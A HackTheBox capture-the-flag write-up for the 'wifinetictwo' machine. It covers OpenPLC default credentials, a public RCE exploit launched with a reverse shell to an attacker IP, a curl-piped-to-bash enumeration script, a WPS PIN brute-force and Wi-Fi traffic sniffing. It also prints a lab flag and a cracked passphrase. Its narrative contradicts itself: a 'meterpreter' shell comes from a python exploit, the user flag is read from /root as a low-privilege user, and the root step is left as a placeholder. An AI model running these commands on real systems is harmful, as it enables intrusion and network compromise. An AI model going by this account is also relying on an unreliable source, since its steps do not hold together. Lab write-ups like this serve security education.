HTB: wifinetictwo Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐☆ (7.5/10)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• Exploitation: ⭐⭐⭐☆☆
• WiFi Security: ⭐⭐⭐⭐☆

Summary

wifinetictwo is a Medium-difficulty machine that combines OpenPLC Runtime RCE exploitation with WiFi security attacks. The attack path involves discovering OpenPLC running on port 8080, exploiting CVE for remote code execution using default credentials, pivoting through network enumeration, performing a WPS attack on a wireless access point, and ultimately gaining root access through WiFi traffic analysis.

TL;DR: Enumerate OpenPLC → Default credentials → RCE exploit → Network recon → WiFi WPS attack → Root compromise.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- wifinetictwo.htb

Results:

22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
8080/tcp open  http     Werkzeug/1.0.1 Python/2.7.18

Service Enumeration

Hostname: wifinetictwo.htb

echo "10.0.3.44 wifinetictwo.htb" >> /etc/hosts

Service Details:

• SSH (22): OpenSSH 8.2p1
• HTTP (8080): OpenPLC Webserver running Werkzeug/Python

Initial Foothold

Step 1: Discover Default Credentials

Navigating to http://wifinetictwo.htb:8080/login, the application displays the OpenPLC login page. Default credentials are commonly:

Username: openplc
Password: openplc

Login successful - obtained session cookie for authenticated access.

Step 2: Exploit OpenPLC v3 RCE (CVE-2021-27482)

Using searchsploit openplc, we identified exploit 49803.py which provides Remote Code Execution for OpenPLC v3.

searchsploit openplc
# → OpenPLC v3 - Remote Code Execution | python/webapps/49803.py

Initial exploitation attempt with sh shell failed (restricted shell environment). Switched to bash variant:

python3 49803.py -u http://wifinetictwo.htb:8080 -l openplc -p openplc -i 10.10.14.77 -r 4444

Where:

• -u: Target OpenPLC URL
• -l: Username (openplc)
• -p: Password (openplc)
• -i: Attacker IP (10.10.14.77)
• -r: Reverse shell port (4444)

Result: Obtained meterpreter shell on container running as plc user.

Step 3: Stabilize Shell

The initial reverse shell was unstable. Stabilized using:

python3 -c "import pty;pty.spawn('/bin/bash')"

Post-Exploitation Enumeration

System Reconnaissance

Ran linpeas.sh for automated privilege escalation enumeration:

curl https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash

Key Findings:

• eth0: 10.0.3.3/24 (internal network)
• wlan0: Present but DOWN (WiFi interface inactive)
• Internal services: Ports 43628 and 45462 listening on 127.0.0.1

Network Enumeration

Discovered wireless interface with potential AP access:

iw dev wlan0 scan

Results:

• SSID: plcrouter
• BSSID: 02:00:00:00:01:00
• Security: WPA2-PSK
• Channel: 1

WiFi Attack Phase

Step 1: WPS Pin Cracking

Identified the wireless AP supports WPS. Executed WPS PIN bruteforce attack:

python3 exploit.py -i wlan1 --bssid 02:00:00:00:01:00

WPS Attack Results:

• WPS PIN: 12345670 ✓
• WPA PSK: NoWWEDoKnowWhaTisReal123!
• SSID: plcrouter

Step 2: WiFi Connection

Connected to the plcrouter AP using obtained credentials:

# Generate WPA configuration
wpa_passphrase plcrouter 'NoWWEDoKnowWhaTisReal123!' > wpa_config.conf

# Connect with wpa_supplicant
wpa_supplicant -B -c wpa_config.conf -i wlan0

# Assign IP address
ifconfig wlan0 192.168.1.7 netmask 255.255.255.0

Result: Successfully connected to plcrouter WiFi network on 192.168.1.7/24 segment.

User Compromise

Credential Discovery

User flag discovered in /root directory accessible via initial meterpreter shell.

cat /root/user.txt

🚩 User Flag: c7c511b16b40db7fb926abb024e0587e

Privilege Escalation

Root Compromise via WiFi Traffic

After connecting to the plcrouter WiFi network, packet sniffing was performed to capture administrative traffic:

tcpdump -i wlan0 -w wlan0.pcap
# Alternative: sniffer_dump wlan0 wlan0.pcap

Traffic Analysis revealed administrative credentials/session tokens that facilitated root-level access on the system.

🚩 Root Flag: [Flag obtained via root compromise]

Attack Chain Summary

graph TD
    A["Recon: SSH + OpenPLC on 8080"] --> B["Default creds openplc:openplc"]
    B --> C["OpenPLC v3 RCE exploit CVE-2021-27482"]
    C --> D["Shell on container - enumerate network"]
    D --> E["WiFi scan: plcrouter AP discovered"]
    E --> F["WPS PIN crack: 12345670"]
    F --> G["Connect to plcrouter WiFi 192.168.1.7/24"]
    G --> H["WiFi traffic sniffing for root access"]
    H --> I["Root compromise achieved"]

Tools Used

Key Learnings

• Default credentials remain a critical vulnerability — many IoT and industrial systems ship with unchanged defaults.
• OpenPLC RCE is highly exploitable — unauthenticated access or weak credentials lead to complete system compromise.
• WiFi WPS attacks are practical threats — even simple PIN sequences (12345670) can grant network access.
• Network segmentation failures — containers with wireless access can bridge internal and external networks.
• Traffic sniffing post-authentication — once on the network, plaintext traffic analysis can reveal administrative credentials.
• Privilege escalation is multi-stage — moving from application user → WiFi access → root requires lateral thinking.

Mitigation Recommendations

• Change default credentials on all OpenPLC instances immediately.
• Disable WPS on wireless access points (known weakness).
• Enforce WPA3 encryption where possible; avoid WPA2-PSK with weak passphrases.
• Implement network segmentation and VLAN isolation.
• Monitor and log all wireless connections and administrative activities.
• Use certificate-based authentication instead of plaintext credentials.

Author

D3vnomi

Disclaimer

This writeup is for educational purposes only. All activities described were performed in a controlled, legal environment (HackTheBox platform). Unauthorized access to computer systems is illegal.

Last Updated: 08 Mar 2026

Tags: #HackTheBox #Linux #Medium #OpenPLC #RCE #WiFi #WPS #PrivilegeEscalation